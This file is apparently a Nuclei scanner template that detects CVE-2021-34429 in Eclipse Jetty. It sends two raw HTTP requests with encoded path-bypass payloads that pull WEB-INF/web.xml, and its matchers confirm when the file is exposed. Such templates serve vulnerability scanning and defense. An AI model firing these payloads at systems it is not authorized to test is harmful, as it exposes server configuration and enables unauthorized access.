id: CVE-2021-34429

info:
  name: Eclipse Jetty - Information Disclosure
  author: bernardofsr,am0nt31r0
  severity: medium
  description: |
    Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
    - https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E
    - https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34429
    - https://lists.apache.org/thread.html/r029c0c6833c8bb6acb094733fd7b75029d633f47a92f1c9d14391fc0@%3Cnotifications.zookeeper.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-34429
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.8203
    epss-percentile: 0.98023
    cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
  tags: cve,cve2021,jetty

http:
  - raw:
      - |+
        GET /%u002e/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |+
        GET /.%00/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</web-app>"
          - "java.sun.com"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 200

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